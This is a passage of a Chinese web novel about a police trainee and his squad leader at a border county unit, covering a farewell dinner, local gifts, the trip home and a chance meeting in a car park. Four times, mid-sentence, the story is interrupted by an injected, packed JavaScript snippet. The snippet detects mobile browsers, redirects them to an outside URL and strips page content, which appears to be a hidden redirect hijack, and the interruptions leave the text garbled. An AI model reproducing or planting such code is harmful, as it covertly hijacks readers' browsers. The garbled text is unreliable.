他倒了杯酒,举起来对大家说:“兄弟们辛苦了,这次我因为下乡,没跟大家在一起。迁业很给力,大家也各司其职,圆满完成任务,这杯酒我先敬各位。” 程辛苑一口闷下肚,又倒了一杯说:“我下乡呢也有收获,想跟大家分享一下。这次去的时候,有个大婶给我们送了东西,说是曹冲上次带队时,一起去的那个警校生小谢,回左城市区后一直在帮助她家孩子上学,汇款或者寄东西,大婶这次送东西来想当面感谢他。刚才从考点回来时我还跟曹冲说,这些东西其实我不并不想收,但乡里对接的人让我们收下,他说带回来给曹冲,给咱们全队,让大家知道,咱们下乡的工作非常、非常有意义。” 程辛苑看着在场的每一个人,尤其看着新人那桌,赵寻越也远远地望着他。 “所以第二杯酒我还想敬各位。”程辛苑继续说,“临尘县是穷地方,大家在这里可能没有良好的生活、没法实现你们的大理想,还要到更穷、更破的地方,做一些琐碎的事情,但你们选择了这里,无形中帮助了很多人,我敬大家,敬离开的人,敬留下的人,敬你们的牺牲,敬你们的坚守。” 说到这里已经有人小声给程辛苑鼓掌,马全全就拍起了巴掌,赵寻越没动。本以为还会有第三杯,可程辛苑没按常理出牌,喝完第二杯后直接道:“行了,就说这么多,大家开吃吧。” 程辛苑坐下开始动筷子,曹冲立刻给他满上杯子,要跟他拼酒,司迁业笑说“你们别喝高了”。赵寻越望着他们,本来挺感动的一番话,忽然被这种嬉嬉闹闹的场景冲淡了。 吃饭席间偶尔有早退,因为有几位警察是值班待岗,接到警情就要立刻出车。吃到九点多,不喝酒和年纪轻的警员都撤了,赵寻越走之前特意望了望程辛苑那桌,他和曹冲还在边喝边侃,赵寻越也决定撤了。 他出了食堂,看到很多人去公共浴室洗澡,他不习惯跟别人共浴,干脆不回宿舍,一个人走到大院门口吹风。 夜晚很静,天上的月光很好。临尘县的夜晚总是比城里的安静,这里的人没有丰富的夜生活,休息得早,晚上十点普通老百姓基本都熄灯了,这要是在左城市区,年轻人的夜生活才刚开始呢。赵寻越才来了不到一个月,已经有点适应这种慢节奏的生活了。 这时,他的手机响了。 21. 感谢你们2 赵寻越打开一看,是他爸赵昶安发来的微信,问他什么时候回市区。来临尘县一个月了,赵昶安几乎没理过他,实习快结束,才想起还有一个“沦落乡间”的儿子。赵昶安一直如此,对待工作和事业废寝忘食,所以赵寻越跟他的关系一直平平淡淡,甚至还没有跟后妈的关系好。 时间过得很快,赵寻越的毕业实习期本来就短,实习结束就回学校结业、毕业,紧接着就是就职。赵寻越不想回复他爸,临尘县和左城市区之间好像隔着一面墙,让他隔绝掉外界的纷扰和嘈杂。 赵寻越在大门口站了很久,久到大院里渐渐安静,洗澡的人越来越少,他才往回走。可经过食堂时,他发现程辛苑还坐在里面。 食堂的灯关了大半,程辛苑还坐在方才的位置上,拿着手机,低头在敲字。赵寻越第一反应是观察程辛苑周围是否还有别人,确定食堂里除了一个收拾餐具的工作人员,没有其他警员后,赵寻越才迈步走进去。 他推开门,正对着程辛苑,那人听见脚步声抬起头来。程辛苑脸色泛红,应该是喝多了,赵寻越问:“你怎么还不回去?” “嘿。”程辛苑龇牙一乐,竟拿起桌上的酒杯,对着他说,“喝点吗?” 赵寻越犹豫了一下,他并不爱喝酒,下乡那天是心烦才喝的,而且程辛苑说话的状态有点轻飘飘的,就好像赵寻越刚才在门口乘凉时,吹在脸上的夏风。 “……我不喝。” “呵,那我敬你。” 程辛苑说着举杯一饮而尽,喝完用力把酒杯敲到桌上,杯底和桌面发出砰的声响。赵寻越一愣,感觉那人彻底醉了:“你敬我干什么?” “不干什么,就是敬你。”程辛苑歪歪扭扭地站起来,“吃饭之前不是只敬了两杯吗,第三杯敬你,哈哈……” 他笑着向赵寻越走过来去,站定在他面前,赵寻越不知他要干什么,能闻到他身上微微的酒气。赵寻越嘴唇发干,而程辛苑这一方呢,他真有点醉了,视线迷迷糊糊的。 程辛苑一直不喜欢赵寻越,然而这段时间的相处,他发现这小子不过是个有点臭屁,但尚算靠谱的善良警校生而已。他挺羡慕赵寻越的,这小子有家世、有能力,上进又单纯,程辛苑多想把这样的人才留在临尘县啊,但他明白有些事不能强求。 起初他好奇赵寻越来这里的原因,随着实习临近结束,程辛苑看开了,不管赵寻越为什么来临尘县实习,他能下乡,整天跟一群县城里的大爷大妈、阿姨小孩打交道,真心待他们,程辛苑就感谢他的付出。每个人都有凌云之志,更何况优秀的研究生赵寻越呢,强制这些警校生留下来“扶贫”是不对的。程辛苑明白,帮人是情分,不是本分。 程辛苑清了清嗓子,含糊其辞又真心诚意地对赵寻越说:“我能教给你们的东西有限,你们都有大好前程,来这里一趟,就当体验生活了吧。” 他认定赵寻越最终会离开,所以说得很含蓄,自谦自己不是个优秀的带教警员,如果有欠妥的地方,希望对方包容。 不知赵寻越能不能听明白,那人定定地看着程辛苑,好像若有所思。过了半响,赵寻越说:“谢谢你了,程辛苑。” “嘿,敢叫我全名?……说了叫我‘哥’!” 这个臭小孩,不管懂不懂自己的谆谆教诲吧,但是不可没大没小!程辛苑拍了拍赵寻越,以示警告,又扶着了他的肩膀一下,借着力量往门口走。他今天开了好久的车,回中队以后没有休息就去高考考点,又困又乏,想回宿舍睡觉。 而赵寻越站在原地没动。他来了临尘县以后,从来没叫过“程队长”,他不想叫,更不想叫“哥”。当初在马沟乡,他壮着胆子叫程辛苑“小程”,现在想来,真不明白为什么这么执着。 赵寻越顿了一秒,突然想到其它事情道:“程……” 程辛苑亦步亦趋地往前走,也不回头:“我有点晕了,有事明天说……” 赵寻越跟上他:“可你的行李还在我宿舍。” “哦?”程辛苑在食堂门口停住,“那……那你给我送过来吧。” “……” 两人出了食堂,各自回屋。赵寻越进宿舍时,卫琛平躺在床上准备睡了,赵寻越交代了一句,拉着程辛苑的行李箱出了门。 他从没进过程辛苑的宿舍,在他门前顿了一秒,深吸了一口气,敲敲门。屋里没人回应,赵寻越不敢敲重了,怕打扰其他人。他上手转动门把,门自己开了,屋里没开灯,窗户没拉窗帘,透进一些微光。 赵寻越拉着行李箱进屋,借着窗外的光亮看到程辛苑大咧咧趴在床上,连鞋都没脱,一条腿还搭在床沿边上。赵寻越站在门口说:“你的行李箱。” “嗯……啊?”程辛苑带着困顿的惺忪声,“你……放那吧。” 赵寻越松了行李箱,挨着它站着。屋里非常安静,赵寻越被一种徐徐蠕动的黑暗裹挟,唯一的声响是程辛苑的呼吸声。 趴在床上的程辛苑,仿佛周身散出一种奇怪、温柔的力,这力量来自他的鼻息,来自他醉意的轻哼,来自他说出的每一个字。这力量在屋子里化成一股液体,连绵不断地涌向赵寻越,后来与他自身血液的流动混成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164159|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同一个频率,使赵寻越完全固定在原地,不敢有任何动作。 趴在床上的程辛苑半睡半醒,好像也感觉到门口立着一个人,含含糊糊地说:“……去睡吧……拜拜。” 为什么要说“拜拜”呢,赵寻越看着躺倒在床的那个人想。 下乡时,程辛苑说让马全全练车,回来聚餐时,程辛苑说感谢离开的人,最后敬酒时,他又说“你就当体验生活吧”。临尘县穷,生活条件不好,一般没什么大案、重案,没有发展前景。程辛苑认定这些年轻人不会留下,干脆直接实行“劝退”策略,省得这些心善的孩子有心理负担。他好像在说,你们在临尘尽力了,想走就走吧,去寻找你们的天地,这里没人怪你。 他的所有意思赵寻越都听懂了,只是不知道,程辛苑明不明白赵寻越的心思。赵寻越并没有打算走,他那时还有自己的事情要办,不会急于离开临尘县。 当然他并不是为程辛苑留下的,他不为程辛苑留下,却不爽程辛苑特意赶人走,有点类似职场里年轻人“我可以炒老板鱿鱼,但公司不能主动开除我”的那种心理。赵寻越回忆起刚来这里时,与程辛苑微妙的敌对状态,一种反抗与屈服纠缠不清的混乱使他心烦,黑暗与程辛苑的呼吸声混杂袭来,夜晚显得更加静谧,赵寻越仿佛一个眼盲之人,站在只有他和程辛苑两人的屋子里,失去了目力,永远等不到天明。 他待不下去了,立刻离开房间。他站在程辛苑宿舍门口,出了一会儿神,抬头看看天上的月亮,深吸了一口气,终于平静了心情。 他转身带上程辛苑宿舍的屋门,关门的动作非常的轻,心里道。 晚安了,小程。 ================ 时间过得很快,在赵寻越和卫琛平毕业典礼前一周,他们完成了在临尘县边境中队的实习,准备返回左城市区。 这天上午,赵、卫二人来到程辛苑的办公室,程辛苑要亲手交给他们实习鉴定评价表。进门的时候,程辛苑还是那副样子,挥挥手让他们坐,赵寻越知道,这将是他毕业前最后一次,踏进程辛苑的办公室。 “我还记得你们刚来临尘县的时候,时间过得可真快啊。” 那两人坐在他对面,程辛苑感慨道。他桌上放着两张签完字、盖完章的鉴定表,他拿起来一一递给他们。 “实习结束了,提前祝你们两个人,毕业快乐。” 两个人都低头看鉴定表,他们的实习成绩一栏都写的“优秀”。卫琛平先抬头说:“谢谢你,程队长。” 赵寻越没说话。 22. 土特产1 程辛苑道:“不用谢我,这是你们应得的。” “我来这里,跟你、跟曹警官,真的学到很多。” 卫琛平又说,这次程辛苑笑了,可他没提实习的事:“警校安排的车后天早上来接你们,这两天不给你们排值班了,你们收拾东西吧,或者在县里转转,都行,随你们。” 赵寻越觉得程辛苑这个状态,是彻底“放弃”他们了,连句鼓励或暗示都没有,程辛苑应该是打心底里认为,毕业后这警校生都不会选择留在临尘县。 “你们要是还有问题,随时找我或者迁业。” 这句话就是要送客了,两个警校生站起来,卫琛平先出了门,赵寻越走得很慢,他进屋后还一句话都没说,走到门口时突然转身,直直望着程辛苑。 程辛苑坐在椅子上,抬头看他:“还有事?” “我……我昨天听副队长说,你要休年假了,也要回市区?” “对,怎么了?” 程辛苑提前请了年假,回家给父母拍结婚纪念照,请假的时间,刚好和赵寻越结束实习回左城市区的时间重合了。 赵寻越问:“那你怎么回市区?” “坐大巴啊,警队又不可能送我回去。” “……” 赵寻越好像在迟疑,抿着嘴唇,程辛苑又问:“你到底想说什么?” “……送我们来的时候的车,是四人座。我和卫琛平坐后排,除了司机,副驾驶还有一个位置。你要不要,顺路跟我们一起回去?” 程辛苑有点愣,主要是他把自己休年假和实习生回左城当做两件事,这个主意他完全没想过,就算时间重合、条件允许,程辛苑也不认为有必要“求”越城警察学院的人送自己一程。而赵寻越能想到这个方法,因为他是院长的儿子,他不认为送人这件事有难度。程辛苑一想他的身份,觉得倒也不是不可行。 “哈,行啊,正好。” 就当赵寻越临走之前,占一次他的便宜吧,程辛苑笑着说:“那谢谢了。” 休年假不是公务出行,坐大巴要好久才能到家,约等于假期少了一天,蹭车省时省力,程辛苑还挺开心,赵寻越却问:“谢我干嘛?” “啧,不、干、嘛。”程辛苑一字一顿地说。他发现赵寻越跟小孩似的,什么事都要问为什么。被剪头发问“你干嘛吹我”,被敬酒问“为什么敬我”,被感谢还要问“你为什么谢我”。成年人的世界本就没那么多为什么,很多事情就是没有原因。 “你怎么这么多问题,谢你就是谢你。快出去吧,我还要忙呢。” 赵寻越没再多说,出了办公室回了宿舍。 宿舍里,卫琛平已经开始清理东西,赵寻越坐在床边,看着他整理衣服,卫琛平有点别扭问:“你不收拾?” “我明天再弄吧。” 程辛苑给了他们两天的自由时间,赵寻越觉得一天就够整理东西了,多出来的一天,他宁愿再多跟程辛苑实习一天。 卫琛平说:“好吧。我主要是下午想去县里转转,给家人买点东西。” “哦。” 赵寻越点点头,卫琛平停下手上的工作,有些犹豫地问:“……你,要不要一起去?” 这一问,把两个人都弄尴尬了。赵寻越和卫琛平虽然实习期一直住在一起,但他们的关系只能用四个字形容,不冷不热。他们交流少,白天各自有带教教官,执勤时间不一样,很少遇到。同住一个屋檐下,就像大城市里出租屋的房客,共处一室,一无所知。而且他们都是比较淡漠的人,卫琛平甚至比赵寻越还阴郁、话少,也不习惯呼朋引伴。现在他们有完整两天的共处时间,卫琛平张口随便一问,心里其实是希望对方拒绝的。 赵寻越当然明白他的意思,他们之所以能和谐相处一二个月,重要的原因就是双方都不挑事,不让对方难堪。 “我不了,今天想歇歇,明天我再去。” “哦,好。” 卫琛平很快低下头,尽量不与他对视,做忙碌收东西的样子。赵寻越闲得无聊,脱了鞋上床躺着,而且他特意面对着墙,后背对着卫琛平。 人的一生要遇到许许多多的人,即使与有些人长时间的接触,你们之间也无法产生缘分,这不怪你,不必强求。重要的是去找那个,对你来说命中注定的人。赵寻越还没找到,不过他不着急。 对的人可以晚一点再相遇,那时候两个人都足够成熟了,就不会因为莫名其妙的理由,走丢了。 ============= 第二天下午,赵寻越真的去县城里逛了,他本没想买东西,临尘县这些特产,他爸、他妈和他妹妹,估计都不会喜欢。可为了完成昨天跟卫琛平奇奇怪怪的“约定”,他今天又不得不出门,不然看起来真的很像糊弄室友的样子。 赵寻越在县城里逛了一圈,也不能白出来,就决定买一些特产,带回中队分给大家。他逛完提着大包小包的东西,没选择坐公交车回去,而是走了一段路。他慢慢开始喜欢临尘县,喜欢置身于县里的感觉,路边的房子、运货车、操着地方口音的人家,让他有一种生活在人间的感觉。 走了一段路,身后有车在鸣笛,他转身看到一辆警车,副驾驶的马全全摇下车窗叫他:“寻越, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164160|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的是你啊,快上来!” 自从下乡回来,马全全待他特别亲近,赵寻越不好意思拒绝,提着东西上了警车。开车的是曹冲,他和马全全刚出警结束,正要回警队。马全全好奇地问赵寻越:“你这是干嘛去了?” “我明天就走了,买点临尘县的特产,想送给队里。” “你这是给咱们队里买的?”马全全问。 曹冲听完突然大笑,赵寻越没摸着头脑说:“对啊。” “哈哈哈,我们常年在临尘县,你买临尘县的特产送给我们?”曹冲简直控制不住自己的笑意,“现在的年轻人也太有意思了吧,我敢保证你这东西没一个人会吃!乐死我了哈哈哈!” 赵寻越一愣,觉得曹冲说得在理,有点恼羞。他脑袋被门夹了,怎么会想出这种主意?马全全赶紧说:“没事没事,冲哥说话就这样。要是别人不吃,你给我,我肯定吃。” 马全全拍拍胸膛,一副于危难中解救小伙伴的大义凛然的表情,赵寻越都忍不住想夸他可爱,点点头道:“好。” 回到中队,赵寻越提着特产去各个宿舍送,大家都很友好地收下了,但是吃不吃就是另外一回事了。程辛苑这个时候在外出警,还没回来,赵寻越想给别人送完再给他送,结果分到司迁业的时候,发现自己买少了,特产分完了。 他当时没在意,估计就算给程辛苑,那人可能也会跟曹冲一样嘲笑他。晚上最后一次跟边境中队集体吃饭,赵寻越和卫琛平给大家敬了酒,说了两句,程辛苑乐呵呵地看着他们,心情似乎很好。 晚上赵寻越回到宿舍,躺在床上刷手机。班级群里大家都在讨论毕业典礼的事情,师门群里,师弟师妹们在送祝福,朋友群里大家在约饭。等其他人用完公共浴室,赵寻越才拿着脸盆和洗漱用品出宿舍,卫琛平早习惯了他这个毛病,自顾睡了。 赵寻越刚一出屋,就听见有人叫他的名字,转头看到程辛苑。平时执勤他们都穿警服,此刻程辛苑穿着大背心和大短裤,露出两条腿,一副要睡觉的打扮。 “愣什么呢,叫你呢,过来。” 程辛苑逗趣地叫他,赵寻越不想走过去,用通俗点的话说,不想给他脸。 “我要去洗澡了,怎么了?” “嘿。”程辛苑笑了,干脆向他走过来,“我听迁业说,你给大家买了临尘县的特产。” 他站定在赵寻越面前。不穿警队制服的程辛苑,看起来真的太年轻了,赵寻越无法想象这样的人比他大四岁,也不理解程辛苑为什么张口闭口,总爱称自己“警察叔叔”。 “你行不行啊,你是傻吗,嗯?” 23. 土特产2 程辛苑调笑地冲对方扬扬下巴,赵寻越想,程辛苑果然要像曹冲一样,吐槽他“弱智”了。 赵寻越可以在曹冲面前显得不好意思,却不想在程辛苑面前承认自己幼稚,所以他装作高傲的仰起头问:“怎么了?” “怎么了,你还好意思问?谁是你的带教警员啊,其他人都有份,竟然没我的?我以为我出警回来晚,吃完饭你会送来,左等右等结果没见着人!嘿,你太不懂规矩了吧小同学?” 程辛苑笑得开朗,多少装出一点戏弄的表情,加上他这身打扮,再加上赵寻越手上还端着脸盘和洗漱用品,一瞬间让赵寻越觉得,自己好像在学校宿舍里,临睡前跟哪个舍友或者同学聊天。 “说话呀,我的特产呢~” 程辛苑演起戏来没完没了,还挺上瘾,双手插兜,一只脚在地面有节奏地敲着,活像打劫青年学生的小混混。 赵寻越完全没料到这个走向,没料到程辛苑会期待他买的特产,没料到程辛苑会深更半夜主动管他要,没料到要不着特产就变成傲娇的小男生。 对,傲娇,赵寻越脑子里蹦出这个词,他不觉得程辛苑在撒泼耍赖,反而觉得他很傲娇。可能程辛苑今晚的打扮太过年轻,可能今晚的月光柔和静谧,可能因为他们两人轻淡的影子落在地上,像紧靠在一起的一双人。 “我分给大家,分到副队长的时候,特产就没了。想你在这里,也不缺这些东西,就没跟你说。” 赵寻越非常认真地解释着,他说话时还稍微往前走了一小步。他本身跟程辛苑一般高,这一小步反应到地面的影子上,使他看起来比程辛苑要高出一些。 挺好。 赵寻越的注意力都放在那两个影子上,脸盆里的牙杯、牙刷和香皂自顾倾斜到一边,赵寻越怕东西掉下去,赶紧往前探身一拦,结果身子没站稳,靠着程辛苑就往下倒。 “嘿!” 程辛苑反应过来,一手托住赵寻越的胸口,想把他撑立起来,但他手的位置太寸,夏天的衣服又薄,那一掌下去仿佛摸到什么不该摸的东西,程辛苑噌的一下收手,结果不但赵寻越没立住,他自己也跟着后仰摔倒。 “靠……” 程辛苑一屁股坐到地上,赵寻越的脸盆摔了个底朝天,所有东西全都掉出来。他蹲身去捡,而且故意侧了身子,不想让程辛苑看到自己的表情。 程辛苑摸到了他的胸口,他胸前的位置伴着衣服的摩擦、伴着心脏的跳动,产生了一种异样的、神奇的感觉。这感觉虽然只有一瞬间,两秒、一秒,或者只有半秒,但是令赵寻越悸动,令他焦躁,还让他有几分怯意。 他埋着头捡牙刷、捡毛巾,程辛苑站起身拍拍屁股说:“哈,你几个意思,耍杂技呢?” “……没有。” 赵寻越快速把掉落的东西都扔进脸盆,这时身后的公共浴室门口,有人叫道:“喂,那边谁啊,还洗不洗澡了,不洗我关灯了。” “洗、我洗。” 赵寻越快速站起来,捧着脸盆,临走前还看了程辛苑一眼。毕竟让他摔了一下,赵寻越想说句“不好意思”,可余光瞥见他的手又顿住了。 程辛苑以为他在自责特产的事情,开玩笑道:“行了,快去洗澡吧,逗你呢。” 他向自己的宿舍走,打算回房睡觉了。明天早上他就要和警校生拼车,回到左城市区,开始他愉快的年假了。 赵寻越望着他的背影。不当着程辛苑面的时候,他就不用在意那个人的表情,不用盯着程辛苑的脸,眼神就可以放肆一些。他发现程辛苑今天穿得真是少,而穿得少的程辛苑,看起来还有一些单薄。虽然他们身高一般,但赵寻越的骨架大一些,他突发奇想,如果像警校里那样跟程辛苑比格斗,不知道谁会赢? 赵寻越的体格会占优势吗,他能控制住程辛苑的身体吗,能把程辛苑压倒在地、钳制住他的双臂、听他溃败的喘息、逼他求饶吗? 远处的程辛苑,完全不知道他实习生脑袋里的情景,他随意地背对着赵寻越摆摆手。身后赵寻越忽然说:“明天早上见……” 其实赵寻越心里想的是,能给我一个这样的机会,让我试试吗?然后就听程辛苑回道: “好。” ========== 出发回左城这天上午,程辛苑、赵寻越和卫琛平三个人在食堂吃了饭,等了一会儿司机就开着车来了。临走前,司迁业来送他们,赵寻越以为他是来送两个警校生的,司迁业也的确跟他们寒暄了几句,最后还跟程辛苑说了好多,内容包括自己会处理好警队事务,让他放心,向他爸妈问好,安心休假之类的。 赵寻越这会儿看司迁业,有一种很矛盾的感觉。一方面他觉得司迁业真是一个非常尽职尽责的副队长,比程辛苑靠谱、温柔;另一方面又觉得,司迁业事无巨细地照顾着身边的每一个人,但程辛苑这么大年纪了,又是边境中队的队长,他不会管理自己吗?用得着无时无刻都这么细心叮嘱吗? 不至于吧,赵寻越心想,这哪里是上司与下属,分明像私人秘书嘛。 三人上了车,两个警校生坐后排,程辛苑坐副驾驶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164161|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上车后除赵寻越外,其他两个人倒头就睡。赵寻越睡不着,看着窗外风景,偶尔还会通过前视镜,看看前排熟睡的程辛苑。 今天他们三人都没穿警服,程辛苑套了一件黑色带图案的T恤,下身穿了一件普通的牛仔裤,如果司机把他们三人都拉回警校,估计跟保安说程辛苑是在校生,也没人会不信。 中午包括司机在内,四个人在收费站休息吃饭,大约下午一点多,车子终于开进左城市区。 临尘县是左城的边境县,而左城市区是省会中心,这是一个完全不同于县城的热闹、豪华的现代都市。程辛苑每次从临尘县回来,都有一种外省小青年进城闯荡的感觉,明明他自己就是土生土长的城市人,但在边境待多了,他能感受到自己身上悄然的变化。 这也是曹冲总爱吐槽他的一点,程辛苑不仅年纪大、在网络使用上与年轻人有代沟,他入社会后常年生活在边境,使他和同龄人相比多了几分守旧和落伍,所以他总爱自称“警察叔叔”。当然,他所处的临尘县竞争少、环境单一,他也比同龄人更简单一些,这大概就是赵寻越在他身上看到的少年气。 车子开到一个大路口时,程辛苑让司机把他放下。他家的方向与越城警察学院不同,他自己打车回去。 “我下车了,你们安全到学校后发个信息给我,拜拜。” 程辛苑愉快地跟他们挥手,卫琛平最后跟他说了一句“拜拜程队长”,赵寻越看着程辛苑,眼神很是严肃。他发现程辛苑彻底抛弃“他们”了,“他们”中重点还是赵寻越自己。此时程辛苑还不知道,这两位警校生毕业后会不会再回临尘县,如果他们不回,这很可能是他与这两个警校生今生最后一次见面。可程辛苑很轻松地与他们分别,看起来一点都不留恋。 赵寻越说不出“拜拜”二字,一是他肯定会再到回临尘县、再见到程辛苑,二是他有些赌气,他认为程辛苑把他当作普通的、“留痕即过”的实习生。程辛苑在临尘县这么多年,来来去去见过的警校生太多了,他对这些年轻人已经不再期待、不再留恋。所以赵寻越说不出这句“拜拜”,他憋着劲,要与程辛苑“再见”。所谓“再见”,就是再次相见的意思。 那程辛苑这方是怎么想的呢? 程辛苑打车回了家,他爸爸妈妈已经准备好一桌子的饭菜。程家是典型的可爱又平凡的三口人,爸妈偶尔吵吵嘴、闹闹气,总体还算和睦。儿子有点好胜又很孝顺,念书的时候立下当警察的志向,最后顺利考了警校,当了警察。这个小家庭唯一的一次波澜,是程辛苑大学时出柜。 24. 左城偶遇1 程辛苑高中就认识了自己的性向,大一交了人生中的第一个男朋友,他跟父母一向坦诚不公,有了对象就向他们坦白。父母也经历了震惊、不解,再到难过、平静,最后变成接受、鼓励儿子。程辛苑觉得自己挺幸运的,没有遇到断绝关系或强行要求他改变性向,甚至走向形婚的父母。 虽然度过了出柜这个坎,但程辛苑的情路并不顺利。他这人太过通透,看清楚世道后,对另一半的智慧和人品有很大要求,大学时谈的对象都分手了。后来他去了临尘县,边境县城本来就封闭,临尘县又是小地方,就像马全全说的,程辛苑在这里根本没找到过新的对象。 父母虽然接受了程辛苑的性向,但依然希望他能有个伴侣,不仅是互相扶持依靠,最重要的还是,积极的爱情可以让双方都得到成长。程辛苑在外面是可靠的队长,是28岁的“警察叔叔”,但在程妈妈眼中,有时还是觉得他太过轻佻、幼稚,缺乏成熟。每次休年假回家,程妈妈都问他有没有稳定的对象,每次都得到程辛苑否定的回答。 这次吃完饭,程辛苑在厨房刷碗时,程妈妈又叨念上了。她总问儿子到底喜欢什么样的,实在不行她也可以帮他找找、问问。可程辛苑以前的恋情,分手原因都是看透了对方,主动离开的。他找到的都是他最终发现不喜欢的,至于他到底喜欢哪种,他也有点搞不清楚。 “这种事哪有模板啊,真的得看缘分。”程辛苑一边倒洗涤灵一边说。 “唉,缘分这种东西最难啊,小帅哥。”程妈妈一边叹气一边打趣,“话说,小司他有对象了没啊?我记得他也单身几年了,他家里不着急吗?” “哈哈,我跟您说,最近迁业被人表白了,就是一个执勤时遇到的女学生。” “啊,真的?”程妈妈又惊又喜。 “今年高考执勤的时候,最后一场考完,有个女孩出来给他送了情书。我们几个都笑死了。” “这有什么可笑的,你们应该祝福他!”程妈妈嗔怪地拍了儿子一下。 “祝福什么啊,您觉得能成吗?”程辛苑自负地说,“那女孩才刚高中毕业,撑死了18岁,迁业多大了?他们能真在一起吗?” “怎么了,你瞧不起年轻小孩?”程妈妈用夸张的语气说,“小帅哥,你这个思想真是保守得厉害啊。年轻怎么了,年轻多好啊,年轻人有活力、有冲劲、有胆识、有气魄,你才多大年纪,思想观念别跟老大爷一样守旧可以吗?” “哈。”程辛苑笑了,“您这语气跟曹冲吐槽我的时候一模一样,你俩约好啦?” “哎小曹呢,小曹他有对象吗?” “他?”程辛苑摆出调侃的语气,“他那说话的劲头,能有对象才怪呢。” “唉……”程妈妈摇摇头,哀其不幸怒其不争地说,“你们中队啊,一群人孤独终老算了。” 程辛苑听了这话,忽然想起还没谈过恋爱的赵寻越。他们边境中队可能真的是风水不好,大家都单身。好在赵寻越离开了这里,要是他还留在临尘县,再一直单身,那这辈子不就等同于出家了吗。马全全就比较惨了,貌似他也没谈过恋爱,得给年轻人想想办法啊,不能让人家献身祖国的同时耽误了自身。不过以小马的年纪,他跟女学生倒是还可以的样子…… 程辛苑身为一个“大家长”的责任心上来了,一边洗碗一边陷入无边无际的思考,程妈妈再说什么他也没注意。等把所有餐具刷完,他最后思考了一个问题,他很好奇赵寻越会喜欢什么类型的人。这小子吧,就像程妈妈说的,年轻、有冲劲,像一只还没进入丛林、但已经浑身是胆的狮子,真不知道什么样的姑娘,才能hold赵寻越啊。 第二天,程辛苑开车带父母去拍结婚纪念照。程妈妈嘴上说着破费,化妆的时候、试衣服的时候还是非常开心的。程爸爸的性格跟程辛苑有点像,都是使劲宠自己爱的人,看老婆开心自己就一无所求。爷俩坐在一旁,程辛苑使劲吹他妈妈是大美女,程爸爸就一直点头称赞,“那可不是嘛”、“也不看看是谁老婆”、“不愧是我儿子眼光真好”之类的,两个人像舞台上说相声的,一唱一和。 拍完二老的结婚纪念照,最后留了一组拍全家福,程辛苑特意带了件小西装外套换上,程妈妈很少看儿子穿正装,他要么是穿警服,要么是卫衣、T恤。程辛苑穿着西装站在爸妈之间,程妈妈的眼睛就没离开过自己的子,摄影师布置灯光的间隙,程妈妈感慨道:“啧啧啧,我以后不能叫你‘小帅哥’了,这还是你小时候的称呼,你现在简直是大帅哥了。” “哈哈哈哈哈哈。”程辛苑开怀大笑,学着他爸爸说,“那可不是吗,也不看看是谁生的儿子。” 他爸爸站在旁边,适时地冲儿子举起了大拇指。可见程辛苑一家人的本质,就是互相认可、互相欣赏加没完没了地对吹彩虹屁。 拍完照,程辛苑带父母去吃饭,他开到地下车库半天没找到车位,就让二老上去找爱吃的餐厅,先把菜点上。爸妈走后他又围着地下车库绕了几圈,终于等到车位。 他停好车下来,瞥见不远处有一辆骚黄色的兰博基尼。程辛苑心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164162|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感叹“好家伙,这是谁的豪车啊”,好巧不巧地,抬眼就看到了赵寻越。 赵寻越和另一个男的,正往那辆骚黄色的兰博基尼走,他看到程辛苑非常意外,是那种惊讶中带些错愕,错愕里又带几分期待的眼神。因为赵寻越的内心活动太过复杂,短时间内没反应过来,倒是程辛苑大大方方跟他打招呼道:“嘿,这么巧啊。” 他用那种一贯的外向开朗冲他笑,赵寻越稳定了一下说“嗯”,他身旁那个男人问:“你朋友?……那我去车上等你了。” “好。” 那陌生男人走向骚黄色的兰博基尼,程辛苑看着他上车,有点羡慕地问赵寻越:“这人谁啊?这车得不少钱呢。” “我堂哥,他的车。” 程辛苑稍一犹豫道:“哎,我记得你说你有个搞赛车的哥哥,就是这个人?” “嗯,是。” “哈,行吧,有钱人家的少爷们啊。” 